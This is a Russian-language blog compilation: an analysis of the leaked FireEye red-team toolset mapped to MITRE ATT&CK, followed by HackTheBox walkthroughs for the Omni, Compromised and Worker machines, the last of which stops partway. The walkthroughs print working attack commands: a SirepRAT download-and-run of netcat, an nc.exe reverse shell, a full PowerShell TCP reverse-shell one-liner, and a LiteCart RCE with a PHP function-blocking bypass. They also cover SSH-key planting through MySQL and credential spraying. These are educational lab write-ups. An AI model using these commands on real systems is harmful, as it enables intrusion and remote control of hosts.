Русский
Русский
English
Статистика
Реклама

Redteam

Украденное оружие FireEye

14.12.2020 02:16:30 | Автор: admin


8 декабря компания FireEye сообщила, что в результате успешной атаки высококвалифицированной APT-группировке удалось получить доступ к инструментам, которые компания использовала как арсенал Red Team команды.

Невольно новость отсылает к 2017 году, когда в сеть попал инструментарий ЦРУ и АНБ для взлома инфраструктуры. Эти утечки подарили миру большое количество разнообразных утилит: от эксплойтов для домашних роутеров и Smart TV до серверов управления зараженными хостами. Наибольший резонанс произвел эксплоит EternalBlue, использовавшийся в шифровальщиках WannaCry, Petya, NotPetya, которые парализовали деятельность компаний по всему миру.
Возвращаясь к текущему кейсу, компания FireEye уверяет, что в составе утекших данных нет 0-day эксплойтов и инструментов эксплуатации неизвестных ранее техник. Также FireEye опубликовала на GitHub набор правил (YARA, Snort, OpenIOC, ClamAV) для детектирования утекшего инструментария.

На основе информации, предоставленной FireEye попробуем разобраться какой арсенал получили злоумышленники в ходе успешной атаки и удалось ли им расширить инструментарий какими-то принципиально новыми средствами.
Итак,

git clone https://github.com/fireeye/red_team_tool_countermeasures


Далее попробуем воссоздать инструментарий, которым пользуется Red Team команда FireEye на разных стадиях развития атаки. Будем рассматривать техники согласно классификатору MITRE ATT&CK

Предварительная подготовка вредоносной нагрузки (Resource Development)


  • Matryoshka набор утилит для первоначального проникновения. Включает генератор вредоносной нагрузки, дроппер и загрузчик.
  • LNKSmasher утилита для генерации LNK-файлов с вредоносным содержимым. Может применятся для создания эксплойтов для LNK-уязвимостей.
  • GadgetToJScript публичный проект, позволяющий внедрять .NET-сборки в сценарии VBS, VBA, JS, HTA.
  • Redflare фреймворк разработанный командой FireEye для проведения операций RedTeam. Фреймворк позволяет собирать вредоносный код для различных операционных систем
  • RESUMEPLEASE шаблон для создания документов Microsoft Office c вредоносными VBA (Visual Basic for Application) макросами.
  • SinfulOffice утилита для создания вредоносных документов Microsoft Office c внедренными OLE-объектами
  • WildChild утилита для создания вредоносных файлов HTA (HTML Application)
  • PrepShellCode утилита для подготовки шеллкода


Первоначальный доступ в инфраструктуру (Initial Access)


Эксплойты, применяемые во вредоносных рассылках, требующие действий со стороны пользователей:
  • Expl-CVE-2017-11774 эксплоит для уязвимости в Microsoft Outlook


Эксплоиты для уязвимостей в публичных сетевых сервисах:
  • Expl-CVE-2019-0708 эксплоит для уязвимости в Microsoft Remote Desktop Services (RDS), также известной как BlueKeep.
  • Expl-CVE-2019-19781 эксплоит для уязвимости в Citrix Application Delivery Controller (ADC) и Citrix Gateway
  • Expl-CVE-2019-8394 эксплоит для уязвимости в Zoho ManageEngine ServiceDesk Plus (SDP)


Выполнение вредоносного кода (Execution)


  • Cobalt Strike коммерческий фреймворк для постэксплуатации. Имеет модули для запуска различных команд.
  • DShell Windows-троян, написанный на языке D
  • DTRIM Модифицированная версия SharpSploit фреймворка для выполнения широкого спектра постэксплуатационных действий. Реализованы функции запуска нативных windows-приложений, .Net-сборок, скриптов PowerShell, шеллкода напрямую.
  • DueDLLigence публичный проект FireEye для подготовки DLL с внедренным шеллкодом.
  • Impacket-Obfuscation модифицированная версия популярного фреймворка Impacket для проведения атак в Windows-инфраструктуре. Имеет различные функции выполнения команд (PSExec, выполнение команд через Tack Scheduler и WMI)
  • In-MemoryCompilation утилита для компиляции вредоносного кода в памяти
  • TrimBishop утилита базируется на проекте RuralBishop, предназначена для выполнения шеллкода в контексте другого процесса. Утилита делает маппинг специализированной секции с шеллкодом в целевой процесс и создает suspended поток для выполнения кода.
  • C_Sharp_SectionInjection утилита для внедрения секций в PE-файл


Закрепление в инфраструктуре (Persistence)


  • Cobalt Strike коммерческий фреймворк для постэксплуатации, при использовании совместно с расширением StayKit обретает набор методов закрепления (реестр, задачи планировщика, LNK, системный сервис, WMI)
  • Mofcomp Вредоносные файлы MOF (Managed Object Format) для регистрации записей в WMI. Используются как механизм закрепления.
  • SharPersist публично доступных проект FireEye для закрепления на Windows-хостах. В утилите реализованы различные методы закрепления: бэкдор в конфигурации KeePass, задача планировщика, дополнительное задание к существующей задаче планировщика, ярлык в папке автозапуска, SVN hook, сервис,
  • SharPivot консольная .Net утилита для выполнения команд на удаленном хосте. Реализует различные техники и протоколы: WMI, RPC, Создание нового задания планировщика, Модификацию задания планировщика, WinRM, COM, регистрацию нового сервиса, регистрацию нового протокольного обработчика
  • SharpSchtask утилита для закрепления на хосте при помощи заданий планировщика
  • Justtask утилита для создания заданий планировщика заданий
  • Keepersist утилита для закрепления на хосте


Получение повышенных привилегий (Privilege Escalation)


  • Cobalt Strike коммерческий фреймворк для постэксплуатации. Для фреймворка доступен ElevateKit, содержащий ряд эксплоитов для повышения привилегий (CVE 2020-0796, CVE-2014-4113, CVE 2015-1701, CVE 2016-0051, CVE-2016-099)
  • Sharpzerologon публично доступный эксплойт для уязвимости в сервисе Netlogon (CVE-2020-1472), получившей название Zerologon. Успешная эксплуатация приводит к компрометации учетной записи доменного администратора. Код эксплойта адаптирован для использования из Cobalt Strike
  • Expl-CVE-2014-1812 эксплоит для уязвимости Group Policy на Windows
  • Expl-CVE-2016-0167 эксплоит для уязвимости Windows kernel-mode driver
  • Expl-CVE-2020-1472 эксплоит для уязвимости в службе Netlogon
  • Expl-CVE-2018-8581 эксплоит для уязвимости в Microsoft Exchange


Обход средств обнаружения (Defense Evasion)


  • Cobalt Strike коммерческий фреймворк для постэксплуатации, В составе есть инструменты позволяющие гибко настроить протокол общения с зараженными хостами для усложнения сетевого обнаружения.
  • DTRIM Модифицированная версия SharpSploit фреймворка для выполнения широкого спектра постэксплуатационных действий. Реализованы функции обхода AMSI а также патчинг ETWEventWrite для отключения ETW для текущего процесса
  • Matryoshka набор утилит для первоначального проникновения. Включает генератор вредоносной нагрузки, дроппер и загрузчик. Загрузчик использует технику Process Hollowing для скрытия своей работы
  • NoAmci утилита для патчинга AMSI.dll c целью обхода AMSI (Antimalware Scan Interface) при вызове метода Assembly.Load(). Используется для внедрения .NET-сборки в сторонний процесс.
  • PGF утилита для создания бэкдора. Состоит из генератора вредоносной нагрузки и ряда загрузчиков. Может обходить механизмы Application Whitelistening путем внедрения DLL в легитимные процессы
  • SharpStomp утилита для модификации файловых атрибутов: даты создания, даты модификации, даты последнего обращения
  • NET-Assembly-Inject утилита для внедрения кода написанного для .Net в легитимные приложения
  • NetshShellCodeRunner утилита использует легитимную утилиту NetSh.exe для запуска кода из вредоносной DLL


Получение учетных записей (Credential Access)


  • Cobalt Strike коммерческий фреймворк для постэксплуатации. В состав входят средства для дампа учетных записей.
  • Adpasshunt утилита для дампа паролей из Group Policy Preferences и атрибутов msSFU30Password и UserPassword Active Directory
  • DTRIM Модифицированная версия SharpSploit фреймворка для выполнения широкого спектра постэксплуатационных действий. Реализован функции дампа учетных записей и проведения атак на протокол Kerberos
  • Excavator утилита для дампа памяти процессов. Может использоваться для кражи учетных записей
  • Rubeus фреймворк для различных манипуляций с тикетами Kerberos, в том числе для проведения атак перебора паролей и Kerberoasting
  • Fluffy внутренний форк проекта Rubeus.
  • Impacket-Obfuscation модифицированная версия популярного фреймворка Impacket для проведения атак в Windows-инфраструктуре. Имеет функции дампа секретов (SAM, LSA, NTDS.dit), проведения атак на Kerberos (Манипуляции с Kerberos-тикетами, Golden Ticket), проведения MiTM-атак на протокол NTLM.
  • InveighZero утилита для проведения MiTM-атак на протоколы LLMNR, NBNS, mDNS, DNS, DHCPv6
  • KeeFarce утилита для получения паролей из KeePass 2.x. Данные получаются путем внедрения DLL в работающий процесс KeePass
  • PXELoot (PAL) утилита для исследования и эксплуатации уязвимостей в конфигурации WDS (Windows Deployment Services)
  • SafetyKatz публичный проект для дампа учетных записей из процесса LSASS. Сочетает в себе модифицированную версию Mimikatz и загрузчик PE написанный на C#
  • TitoSpecial утилита разработанная на базе проекта AndrewSpecial для дампа паролей из процесса LSASS. В утилите используются техники обхода EDR
  • CredSnatcher утилита для кражи учетных данных
  • WCMDump утилита для кражи учетных данных из Windows Credential Manager
  • Expl-CVE-2018-13379 эксплоит для уязвимости FortiOS SSL VPN, позволяющий получить учетные данные пользователей
  • Expl-CVE-2019-11510 эксплоит для уязвимости Pulse Secure SSL VPN, позволяющий получить учетные данные пользователей


Исследование инфраструктуры (Discovery)


  • Cobalt Strike коммерческий фреймворк для постэксплуатации. В состав входят модули для сбора различной информации на хосте и по сети.
  • Seatbelt публично доступная утилита для сбора различной информации с ОС Windows
  • CoreHound .Net утилита, предположительно fork SharpHound утилиты для изучения структуры домена Active Directory и сбора всевозможных данных о настройках безопасности.
  • PuppyHound модифицированная версия фреймворка SharpHound для исследования Active Directory
  • DTRIM Модифицированная версия SharpSploit фреймворка для выполнения широкого спектра постэксплуатационных действий. Реализованы функции получения различных данных на уровне хоста и по сети.
  • EWSRT Проект базирующийся на утилите RT-EWS для получения различных данных с серверов Exchange, в том числе с Office 365
  • Getdomainpasswordpolicy утилита для получения данных парольной политике в домене Active Directory
  • gpohunt утилита для получения данных групповых политик в домене Active Directory
  • SharpUtils набор утилит, написанных на C# для запуска через метод execute assembly фреймворка Cobalt Strike
  • WMISharp утилита для работы с WMI
  • WMIspy утилита для сбора данных через WMI
  • modifiedsharpview модифицированная версия SharpView, утилита для поиска информации в Active Directory


Перемещение по инфраструктуре (Lateral Movement)


  • Cobalt Strike коммерческий фреймворк для постэксплуатации. Фреймворк укомплектован модулями горизонтального перемещения (PsExec, WinRM, Windows Admin Shares)
  • DTRIM Модифицированная версия SharpSploit фреймворка для выполнения широкого спектра постэксплуатационных действий. Для горизонтального перемещения использует WMI, DCOM, Создание сервиса на удаленном хосте, PowerShell Remoting.
  • Impacket-Obfuscation модифицированная версия популярного фреймворка Impacket для проведения атак в Windows-инфраструктуре. Имеет различные функции выполнения команд (PSExec, выполнение команд через Tack Scheduler и WMI) а также эксплоиты для уязвимостей Samba (CVE-2017-7494), Kerberos (CVE-2016-0049), Netlogon (CVE-2015-0005)
  • WMIRunner утилита для запуска команд через WMI
  • SharPivot консольная .Net утилита для выполнения команд на удаленном хосте. Реализует различные техники и протоколы: WMI, RPC, Создание нового задания планировщика, Модификацию задания планировщика, WinRM, COM, регистрацию нового сервиса, регистрацию нового протокольного обработчика
  • Expl-CVE-2018-15961 эксплоит для уязвимости в Adobe ColdFusion
  • Expl-CVE-2019-0604 эксплоит для уязвимости в Microsoft Sharepoint
  • Expl-CVE-2019-0708 эксплоит для уязвимости в Microsoft Remote Desktop Services (RDS), также известной как BlueKeep
  • Expl-CVE-2019-11580 эксплоит для уязвимости в Atlassian Crowd
  • Expl-CVE-2019-3398 эксплоит для уязвимости в Atlassian Confluence Server
  • Expl-CVE-2020-0688 эксплоит для уязвимости в Microsoft Exchange
  • Expl-CVE-2020-10189 эксплоит для уязвимости в ZoHo ManageEngine Desktop Central


Удаленное управление (Command and Control)


  • Cobalt Strike коммерческий фреймворк для постэксплуатации. Включает в себя Team Server для централизации управления скомпрометированными хостами в инфраструктуре.
  • DShell Windows-троян, написанный на языке D
  • Redflare фреймворк разработанный командой FireEye для проведения операций RedTeam. Включает в себя командный сервер
  • GoRAT модульный бэкдор для различных систем (Windows, MacOS), является частью фреймворка Redflare. Написан на языке Go
  • DoHC2 расширение фреймворка Cobalt Strike для организации канала управления через протокол DNS over HTTPS (DoH)
  • prat remote access trojan


Вспомогательные утилиты


  • SharpGrep утилита поиска по контенту файлов
  • sharpdacl утилита для работы с ACL
  • sharpdns утилита для работы с протоколом DNS
  • sharpgopher утилита для работы с протоколом Gopher
  • sharpnativezipper утилита для использования штатный средств ОС для компрессии данных
  • sharpnfs утилита для работы с протоколом NFS
  • sharppatchcheck утилита для проверки установленных обновлений
  • sharpsqlclient SQL-клиент
  • sharpwebcrawler Crawler веб страниц
  • sharpziplibzipper утилита для компрессии, использующая libzip


Утилиты неизвестного назначения


По предоставленной информации назначение данных утилит понять не удалось.
  • Allthethings
  • SharpGenerator
  • Lualoader
  • MSBuildMe
  • Revolver
  • Sharpsack
  • Sharpy
  • red_team_materials
  • sharptemplate


Итоги проведенного анализа


  • Большая часть инструментария предназначена для проведения атак в инфраструктуре Microsoft Windows
  • Для развития атаки применяется коммерческий фреймворк Cobalt Strike а также модифицированные версии известных open source проектов (SharpView, SharpSploit, Impacket, SharpHound, SafetyKatz)
  • Модификация open source во многом связана с дополнительными техниками обхода средств обнаружения
  • В компании есть большое количество собственных разработок, преимущественно на C#
  • FireEye применяет многоступенчатое вредоносное ПО для атаки.
  • В арсенале присутствует ряд эксплойтов для опасных уязвимостей, но все эксплойты можно найти на просторах интернета


Факты, которые меня удивили:
  • Отсутствие инструментов для работы с Linux и другими Unix-подобными операционными системами
  • Отсутствие утилит для атаки на сетевые устройства
  • Отсутствие арсенала для работы с Web-приложениями
  • Достаточно скромная подборка эксплойтов для первичного проникновения в инфраструктуру


Выводы


Успешная атака на гиганта рынка информационной безопасности несомненно войдет в перечень значимых событий нашей отрасли, но также нужно понимать, что инструментарий Red Team точно не являлся целью атакующих. Компания FireEye выполняла работы для крупных компаний по всему миру а также являлась подрядчиком государственных структур США, таких как Department of Defense, Health and Human Services, Treasury, Homeland Security и др. Данные этих организаций более лакомый кусок для про государственных хакеров чем подборка эксплоитов и утилит.

Как показал анализ, даже публикация утилит в открытом доступе существенно не повлияет на картину рисков для организаций т.к. большая часть арсенала и так доступна злоумышленникам в виде open source проектов.

Разбор утилит по техникам MITRE ATT&CK
Execution
  • T1059.001 Command and Scripting Interpreter: PowerShell (Cobalt Strike)
  • T1059.003 Command and Scripting Interpreter: Windows Command Shell (Cobalt Strike, DShell)
  • T1059.005 Command and Scripting Interpreter: Visual Basic (Cobalt Strike)
  • T1059.006 Command and Scripting Interpreter: Python (Cobalt Strike)
  • T1059.007 Command and Scripting Interpreter: JavaScript/JScript (GadgetToJscript)
  • T1106 Native API (Cobalt Strike, DTRIM)
  • T1129 Shared Modules (DueDDLigence)
  • T1203 Exploitation for Client Execution (Expl-CVE-2017-11774, Expl-CVE-2019-0708, Expl-CVE-2019-19781, Expl-CVE-2019-8394)
  • T1569.002 System Services: Service Execution (Cobalt Strike, Impacket-Obfuscation)

Persistence
  • T1053.005 Scheduled Task/Job: Scheduled Task (SharPersist)
  • T1543.003 Create or Modify System Process: Windows Service (Cobalt Strike, SharPersist)
  • T1546.003 Event Triggered Execution: Windows Management Instrumentation Event Subscription (Mofcomp)

Privilege Escalation
  • T1068 Exploitation for Privilege Escalation (Cobalt Strike, Sharpzerologon, Expl- CVE-2014-1812, Expl-CVE-2016-0167, Expl-CVE-2020-1472, Expl-CVE-2018-8581)
  • T1134.001 Access Token Manipulation: Token Impersonation/Theft (Cobalt Strike)
  • T1134.003 Access Token Manipulation: Make and Impersonate Token (Cobalt Strike)
  • T1134.004 Access Token Manipulation: Parent PID Spoofing (Cobalt Strike)

Defense Evasion
  • T1027.005 Obfuscated Files or Information: Indicator Removal from Tools (Cobalt Strike)
  • T1055 Process Injection (Cobalt Strike, NET-Assembly-Inject)
  • T1055.012 Process Injection: Process Hollowing (Cobalt Strike, Matryoshka)
  • T1070.006 Indicator Removal on Host: Timestomp (Cobalt Strike, SharpStomp)
  • T1197 BITS Jobs (Cobalt Strike)
  • T1548.002 Abuse Elevation Control Mechanism: Bypass User Account Control (Cobalt Strike) T1562.001 Impair Defenses: Disable or Modify Tools (DTRIM, NoAmci)
  • T1562.002 Impair Defenses: Disable Windows Event Logging (DTRIM)
  • T1572 Protocol Tunneling (Cobalt Strike)

Credential Access
  • T1003 OS Credential Dumping: Security Account Manager (Cobalt Strike, DTRIM, Excavator, Impacket-Obfuscation, SafetyKatz, TitoSpecial)
  • T1110 Brute Force (Rubeus, Fluffy)
  • T1056.001 Input Capture: Keylogging (Cobalt Strike)
  • T1552.006 Unsecured Credentials: Group Policy Preferences (Adpasshunt)
  • T1555 Credentials from Password Stores (Expl-CVE-2018-13379, Expl-CVE-2019-11510)
  • T1557.001 Man-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay (Impacket-Obfuscation, InveighZero)
  • T1558 Steal or Forge Kerberos Tickets (DTRIM, Rubeus, Fluffy, Impacket-Obfuscation)
  • T1040 Network Sniffing (Impacket-Obfuscation)
  • T1555.001 Process Injection: Dynamic-link Library Injection (KeeFarce)

Discovery
  • T1007 System Service Discovery (Seatbelt)
  • T1012 Query Registry (Seatbelt)
  • T1016 System Network Configuration Discovery (Cobalt Strike, Seatbelt)
  • T1018 Remote System Discovery (Cobalt Strike)
  • T1033 System Owner/User Discovery (Seatbelt)
  • T1046 Network Service Scanning (Cobalt Strike, DTRIM)
  • T1049 System Network Connections Discovery (Seatbelt)
  • T1057 Process Discovery (Cobalt Strike, DTRIM)
  • T1069.001 Permission Groups Discovery: Local Groups (Seatbelt, DTRIM)
  • T1069.002 Permission Groups Discovery: Domain Groups (CoreHound, DTRIM, PuppyHound, modifiedsharpview)
  • T1082 System Information Discovery (Seatbelt)
  • T1087.001 Account Discovery: Local Account (Seatbelt, DTRIM)
  • T1087.002 Account Discovery: Domain Account (Cobalt Strike, CoreHound, DTRIM, PuppyHound)
  • T1087.002 Account Discovery: Email Account (EWSRT)
  • T1087.004 Account Discovery: Cloud Account (Seatbelt, EWSRT)
  • T1124 System Time Discovery (Seatbelt)
  • T1135 Network Share Discovery (Cobalt Strike, Seatbelt, DTRIM)
  • T1201 Password Policy Discovery (Seatbelt, Getdomainpasswordpolicy)
  • T1217 Browser Bookmark Discovery (Seatbelt)
  • T1518 Software Discovery (Seatbelt)
  • T1482 Domain Trust Discovery (CoreHound, PuppyHound)

Lateral Movement
  • T1021.001 Remote Services: Remote Desktop Protocol (Cobalt Strike)
  • T1021.002 Remote Services: SMB/Windows Admin Shares (Cobalt Strike)
  • T1021.003 Remote Services: Distributed Component Object Model (Cobalt Strike, DTRIM)
  • T1021.004 Remote Services: SSH (Cobalt Strike)
  • T1021.006 Remote Services: Windows Remote Management (Cobalt Strike, DTRIM, Impacket-Obfuscation, WMIRunner)
  • T1047 Windows Management Instrumentation (Cobalt Strike, DTRIM)
  • T1210 Exploitation of Remote Services (Impacket-Obfuscation, Expl-CVE-2018-15961, Expl-CVE-2019-0604, Expl-CVE-2019-0708, Expl-CVE-2019-11580, Expl-CVE-2019-3398, Expl-CVE-2020-0688, Expl-CVE-2020-10189)
  • T1550.002 Use Alternate Authentication Material: Pass the Hash (Cobalt Strike)

Command and Control
  • T1071.001 Application Layer Protocol: Web Protocols (Cobalt Strike)
  • T1071.004 Application Layer Protocol: DNS (Cobalt Strike)
  • T1090.001 Proxy: Internal Proxy (Cobalt Strike)



Сергей Рублев. Директор по развитию Пангео Радар, CISSP
Подробнее..

Hack The Box. Прохождение Omni. Ломаем легенький Windows IoT

09.01.2021 18:16:01 | Автор: admin

Продолжаюпубликацию решений отправленных на дорешивание машин с площадки HackTheBox (http://personeltest.ru/aways/www.hackthebox.eu). Надеюсь, что это поможет хоть кому-то развиваться в области ИБ.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация

Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

- PWN;

- криптография (Crypto);

- cетевые технологии (Network);

- реверс(Reverse Engineering);

- стеганография(Stegano);

- поиск и эксплуатация WEB-уязвимостей;

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике,анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram (http://personeltest.ru/aways/t.me/RalfHackerChannel) и группу для обсуждения любых вопросов в области ИиКБ (http://personeltest.ru/aways/t.me/RalfHackerPublicChat). Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем (http://personeltest.ru/aways/t.me/hackerralf8).

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon

Данная машина имеет IP адрес 10.10.10.204, который я добавляю в /etc/hosts.

10.10.10.204omni.htb

Первым делом сканируем открытые порты. Яэто делаю с помощью следующего скрипта, принимающего один аргумент - адрес сканируемого хоста:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1

Много открытых портов, при этом на 8080 нас встречает HTTP аутентификация Windows Device Portal. Давайте узнаем что это.

Таким образом, это IoT мы можем найти найти соответствующий популярный эксплоит SirepRAT.

Entry Point

Запускаем на локальной машине веб сервер.

sudo python3 -m http.server 80

Скачаем на удаленную машину netcat, запустим листенер и выполним реверс шелл с помощью netcat.

python SirepRAT.py omni.htb LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c powershell IWR -Uri http://10.10.14.112/nc64.exe -OutFile C:\\Windows\\System32\\spool\\drivers\\color\\nc.exe"python SirepRAT.py omni.htb LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c powershell C:\\Windows\\System32\\spool\\drivers\\color\\nc.exe -e cmd.exe 10.10.14.112 4321" --v

И мы получаем оболочку.

Из программного обеспечения имеется только PowerShell.Просмотрим все файлы, включая вложенные директории, с целью найти что-нибудь интересное. И мы находим.

Get-ChildItem -Path "C:\Program Files" Recurse -force

В данном файле находим учетные данные двух пользователей. Давайте авторизуемся на веб сервере. И в консоле кинем еще один реверс шелл.

USER

Но сразу забрать флаг не вышло.

Давайте декодируем пароль.

$userTXT = Import-CliXml -Path C:\Data\Users\app\user.txt$userTXT.GetNetworkCredential().Password

ROOT

Теперь проделаем все те же функции от имени администратора.

И машина пройдена.

Подробнее..

Hack The Box. ПрохождениеCompromised. RCE LiteCart и бэкдор pam_unix

23.01.2021 20:10:06 | Автор: admin

Продолжаюпубликацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация

Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

- PWN;

- криптография (Crypto);

- cетевые технологии (Network);

- реверс(Reverse Engineering);

- стеганография(Stegano);

- поиск и эксплуатация WEB-уязвимостей;

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике,анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем (ссылка).

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon

Данная машина имеет IP адрес 10.10.10.204, который я добавляю в /etc/hosts.

10.10.10.207compromised.htb

Первым делом сканируем открытые порты. Яэто делаю с помощью следующего скрипта, принимающего один аргумент - адрес сканируемого хоста:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1

Давайте посмотрим сайт.

Находим только CMS - LiteCart. Давайте просканируем директории, и я делаю это с помощью gobuster.

gobuster dir -t 128 -u http://compromised.htb/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,php

И находим интересную директорию backup, а в ней архив.

Данный архив содержит исходные коды сайта.

Среди данных файлов мы и находим упоминание скрытого на сервере файла.

Файл содержит учетные данные админа.

Авторизуемся.

Entry Point

После изучения данной CMS, находим RCE эксплоит.

Но вот только он не отрабатывает как нужно.

Посмотрим код эксплоита. Используется функция system, которая, возможно, блокируется.

Давайте изменим нагрузку и вызовем phpinfo, чтобы посмотреть заблокированные функции.

И видим большой список таких функций. Для обхода данных блокировок можем использовать этот код. Данный PHP код мы чуть изменим, чтобы сразу выполнять запрошенные команды.

И изменим код эксплоита так, чтобы считать и отправить новый PHP код.

И данный код работает.

Глянем на пользователей и заметим, что у mysql есть bash.

Давайте удобный шелл, для этого используем webwrap.

USER1

Так как у mysql есть командная оболочка, то мы можем использовать службу как обычного пользователя, а именно выполняя команды из mysql. Учетные данные для подключения к базе данных должны быть расположены в конфигах.

Теперь, когда мы получили учетные данные, давайте проверим функции mysql.

И давайте сгенерируем SSH ключи и запишем публичный в домашнюю директорию службы с помощью execcmd.

mysql -u root --password=changethis -e "select execcmd('echo ssh-rsa AAAAB3NzaC1yc2EAAAADA/ ... 6GuPNZGryVNovs= ralf@ralf-PC > ~/.ssh/authorizedkeys');"

И заходим по SSH.

USER2

И мы можем прочитать логи, где можно поискать пароли.

Попробуем сменить пользователя с найденным паролем.

ROOT

После длительного изучения машины, была дана подсказка про название машины и использование бэкдоров. Давайте найдем последние измененные файлы.

find . -mtime -100 2>/dev/null

И находим скрытую библиотеку pamunix.so, причем есть такая же, видимо легитимная. Скачиваем этот файл.

scp sysadmin@compromised.htb:/lib/x8664-linux-gnu/security/.pamunix.so ~/tmp/

И закидываем в дизасемблер (я использовал Cutter). Среди строк находим password.

Посмотрим, где эта строка используется.

И видим сравнение пароля с шестнадцатеричными значениями, которые являются половинами строки.

Пробуем данную строку как пароль рута, и удачно авторизуемся.

Подробнее..

HackTheBox. Прохождение Worker. Работаем с SVN. Используем Azure DevOps для захвата хоста

30.01.2021 18:12:04 | Автор: admin

Продолжаюпубликацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация

Организационная информация

Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

- PWN;

- криптография (Crypto);

- cетевые технологии (Network);

- реверс(Reverse Engineering);

- стеганография(Stegano);

- поиск и эксплуатация WEB-уязвимостей;

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике,анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем (ссылка).

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon

Данная машина имеет IP адрес 10.10.10.192, который я добавляю в /etc/hosts.

10.10.10.192worker.htb

Первым делом сканируем открытые порты. Яэто делаю с помощью следующего скрипта, принимающего один аргумент - адрес сканируемого хоста:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1

И нам доступны веб сервер и служба SVN. Веб нам пока ничего предложить не может.

Давайте обратимся к службе svn. Subversion- это свободная централизованная система управления версиями. Давайте полцчим базовую информацию.

svn info svn://worker.htb

И мы знаем базовую ветку, автора ичто мы можем узнать последние пять изменений.

Entry Point

Посмотрим список файлов в данной ветке.

svn list svn://worker.htb

Имеем директорию и файл. Скачиваем все к себе на хост.

svn export svn://worker.htb/dimension.worker.htb/
svn export svn://worker.htb/moved.txt

И из последнего файла узнаем новый поддомен.

Добавим его в /etc/hosts.

10.10.10.203devops.worker.htb

Но там нас встречает HTTP аутентификация. Давайте посмотрим последние изменения. На втором шаге мы находим интересный файл, не встречавшийся ранее.

svn checkout -r 1 svn://worker.htb
svn checkout -r 2 svn://worker.htb

Применим изменения, чтобы получить данный файл.

svn up -r 2 deploy.ps1

И в данном powershell скрипте обнаружим учетные данные.

Снайденными учетными данными получается аутентифицироваться на сайте.

USER

Обратимвнимание на репозиторий и то, что он содержит код.

Используем название репозитория как субдомен, занеся его в /etc/hosts.

10.10.10.203spectral.worker.htb

И нас встречает сайт.

Это вектор RCE. Давайте внесем изменения, добавив на сервере ASPX шелл. Создадимновую ветку, добавим файл, добавим задачу, и сделаем ветку основной.

И после применения всех изменений, обратимся к нашему файлу.

Давайте получим полноценный шелл. Для этого запустим листенер и выполним Powershell бэкконнект.

$client = New-Object System.Net.Sockets.TCPClient('10.10.14.115',4321);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}; $client.Close()

И получаем шелл.

Немного осмотревшись, находим директории с конфигурациями.

И в файле passwd есть много пар логинов и паролей.

А по открытым портам определяем работающую службу WinRM.

Давайте сделаем списки пользователей и паролей.

cat logpass.txt | tr -d ' ' | cut -f 1 -d '=' > user.txtcat logpass.txt | tr -d ' ' | cut -f 2 -d '=' > pass.txt

А темеперь выполним подбор пар учетных данных с помощью CrackMapExec.

